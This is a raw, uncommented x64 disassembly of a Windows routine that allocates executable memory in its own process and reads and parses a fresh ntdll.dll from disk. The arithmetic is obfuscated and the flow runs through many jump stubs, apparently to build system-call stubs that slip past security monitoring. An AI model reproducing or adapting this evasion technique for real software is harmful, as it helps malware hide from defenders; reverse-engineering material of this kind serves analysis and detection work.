call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add rsp, 0x20
mov dword [rbp + 0x2138], eax
mov r8d, dword [rbp + 0x2138]
mov ecx, 0x1fffff
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov qword [rbp + 0x2130], rax
mov rcx, qword [rbp + 0x2130]
xor eax, eax
mov edx, eax
mov r8d, 0x17
mov r9d, 0x1000
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r8, qword [rbp + 0x1e80]
mov rdx, qword [rbp + 0x1e88]
mov rcx, qword [rbp + 0x1e90]
add rsp, 0x30
mov r9, rax
mov rax, qword [rbp + 0x1e98]
mov qword [rbp + 0x2128], r9
mov r9, qword [rbp + 0x2128]
add r9, 0x17
mov qword [rbp + 0x2120], r9
mov r9, qword [rbp + 0x2120]
add r9, 0x17
mov qword [rbp + 0x2118], r9
mov r9, qword [rbp + 0x2118]
add r9, 0x17
mov qword [rbp + 0x2110], r9
mov r9, qword [rbp + 0x2110]
add r9, 0x17
mov qword [rbp + 0x2108], r9
mov r9, qword [rbp + 0x2108]
add r9, 0x17
mov qword [rbp + 0x2100], r9
mov r9, qword [rbp + 0x2100]
add r9, 0x17
mov qword [rbp + 0x20f8], r9
mov r9, qword [rbp + 0x20f8]
add r9, 0x17
mov qword [rbp + 0x20f0], r9
mov r9, qword [rbp + 0x20f0]
add r9, 0x17
mov qword [rbp + 0x20e8], r9
mov r9, qword [rbp + 0x20e8]
add r9, 0x17
mov qword [rbp + 0x20e0], r9
mov r9, qword [rbp + 0x20e0]
add r9, 0x17
mov qword [rbp + 0x20d8], r9
mov r9, qword [rbp + 0x20d8]
add r9, 0x17
mov qword [rbp + 0x20d0], r9
mov r9, qword [rbp + 0x20d0]
add r9, 0x17
mov qword [rbp + 0x20c8], r9
mov r9, qword [rbp + 0x20c8]
add r9, 0x17
mov qword [rbp + 0x20c0], r9
mov r9, qword [rbp + 0x20c0]
add r9, 0x17
mov qword [rbp + 0x20b8], r9
mov r9, qword [rbp + 0x20b8]
add r9, 0x17
mov qword [rbp + 0x20b0], r9
mov r9, qword [rbp + 0x20b0]
add r9, 0x17
mov qword [rbp + 0x20a8], r9
mov r9, qword [rbp + 0x20a8]
add r9, 0x17
mov qword [rbp + 0x20a0], r9
mov dword [rbp + 0x209c], 0
mov qword [r8], 0
mov dword [rdx], 0
mov dword [rcx], 0
mov qword [rax], 0
mov rax, qword [rbp + 0x2128]
mov qword [0x1401d0040], rax
mov rcx, qword [rbp + 0x2128]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x2120]
mov qword [0x1401d0048], rax
mov rcx, qword [rbp + 0x2120]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x2118]
mov qword [0x1401d0050], rax
mov rcx, qword [rbp + 0x2118]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x2110]
mov qword [0x1401d0058], rax
mov rcx, qword [rbp + 0x2110]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x2108]
mov qword [0x1401d0060], rax
mov rcx, qword [rbp + 0x2108]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x2100]
mov qword [0x1401d0068], rax
mov rcx, qword [rbp + 0x2100]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20f8]
mov qword [0x1401d0070], rax
mov rcx, qword [rbp + 0x20f8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20f0]
mov qword [0x1401d0078], rax
mov rcx, qword [rbp + 0x20f0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20e8]
mov qword [0x1401d0080], rax
mov rcx, qword [rbp + 0x20e8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20e0]
mov qword [0x1401d0088], rax
mov rcx, qword [rbp + 0x20e0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20d8]
mov qword [0x1401d0090], rax
mov rcx, qword [rbp + 0x20d8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20d0]
mov qword [0x1401d0098], rax
mov rcx, qword [rbp + 0x20d0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20c8]
mov qword [0x1401d00a0], rax
mov rcx, qword [rbp + 0x20c8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20c0]
mov qword [0x1401d00a8], rax
mov rcx, qword [rbp + 0x20c0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20b8]
mov qword [0x1401d00b0], rax
mov rcx, qword [rbp + 0x20b8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20b0]
mov qword [0x1401d00b8], rax
mov rcx, qword [rbp + 0x20b0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20a8]
mov qword [0x1401d00c0], rax
mov rcx, qword [rbp + 0x20a8]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x20a0]
mov qword [0x1401d00c8], rax
mov rcx, qword [rbp + 0x20a0]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
lea rcx, str.c:windows_system32_ntdll.dll
mov edx, 0x80000000
mov r8d, 1
xor eax, eax
mov r9d, eax
sub rsp, 0x40
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x28], pe_nt_image_headers64
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
add rsp, 0x40
mov rcx, rax
mov rax, qword [rbp + 0x1e80]
mov qword [rax], rcx
mov rcx, qword [rax]
xor eax, eax
mov edx, eax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetFileSize]
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp + 0x1e88]
mov dword [rax], ecx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x1e88]
mov eax, dword [rax]
mov r8d, eax
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbp + 0x1e80]
mov r9, qword [rbp + 0x1e90]
mov rdx, qword [rbp + 0x1e98]
add rsp, 0x20
mov r8, rax
mov rax, qword [rbp + 0x1e88]
mov qword [rdx], r8
mov rcx, qword [rcx]
mov rdx, qword [rdx]
mov r8d, dword [rax]
xor eax, eax
sub rsp, 0x30
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r11, qword [rbp + 0x1e98]
mov r9, qword [rbp + 0x1eb0]
mov r10, qword [rbp + 0x1ea8]
mov r8, qword [rbp + 0x1ec0]
mov rdx, qword [rbp + 0x1eb8]
mov rcx, qword [rbp + 0x1ec8]
add rsp, 0x30
mov rax, qword [rbp + 0x1ed0]
mov rdi, qword [r11]
mov qword [rsi], rdi
mov r11, qword [r11]
mov rsi, qword [rsi]
movsxd rsi, dword [rsi + 0x3c]
movabs rdi, 0x56d6c9fe95836dab
add r11, rdi
add r11, rsi
movabs rsi, 0x56d6c9fe95836dab
sub r11, rsi
mov qword [r10], r11
mov r11, qword [r10]
mov r11d, dword [r11 + 0x88]
mov dword [r9], r11d
mov r9, qword [r10]
xor r11d, r11d
sub r11, r9
xor r9d, r9d
sub r9, 0x18
add r11, r9
xor r9d, r9d
sub r9, r11
mov r10, qword [r10]
movzx r10d, word [r10 + 0x14]
mov r11d, r10d
xor r10d, r10d
sub r10, r9
xor r9d, r9d
sub r9, r11
add r10, r9
xor r9d, r9d
sub r9, r10
mov qword [rdx], r9
mov r9, qword [rdx]
mov qword [r8], r9
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0
jmp 0x140004a97
jmp 0x14000735f
jmp 0x140007449
jmp 0x140007543
mov rax, qword [rbp + 0x1eb8]
mov rcx, qword [rbp + 0x13a8]
mov qword [rax], rcx
jmp 0x140007621
mov rax, qword [rbp + 0x1ed0]
mov ecx, dword [rbp + 0x13a4]
mov dword [rax], ecx
jmp 0x140007704
jmp 0x1400078f9
jmp 0x140007af3
jmp 0x140007ba2
jmp 0x140007c84
jmp 0x140007d7c
jmp 0x140007eae
jmp 0x140008007
mov rcx, qword [rbp + 0x1f88]
sub rsp, 0x20
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f90]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1f98]
call fcn.1400b6120
add rsp, 0x20
jmp 0x14000820b
jmp 0x140008492
jmp 0x140008568
jmp 0x140008671
jmp 0x14000887a
jmp 0x140008983
mov rdx, qword [rbp + 0x1fc0]
mov rcx, qword [rbp + 0x1ee0]
sub rsp, 0x20
call fcn.1400f6dc0
mov rcx, qword [rbp + 0x1fc0]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1fc8]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1fd0]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1fd8]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1fe0]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1fe8]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1ff0]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1ff8]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2000]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2008]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2010]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2018]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2020]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2028]
call fcn.1400f6b40
mov rcx, qword [rbp + 0x2030]
call fcn.1400f6b40
add rsp, 0x20
jmp 0x140008a98
jmp 0x140008c9f
jmp 0x140008d7c
jmp 0x140008f3d
jmp 0x1400090e9
jmp 0x1400091f2
jmp 0x1400093be
jmp 0x14000955e
mov rcx, qword [rbp + 0x1488]
sub rsp, 0x20
call fcn.1400f6b40
mov rcx, qword [rbp + 0x1ee0]
call fcn.140072ef0
add rsp, 0x20
jmp 0x14000986a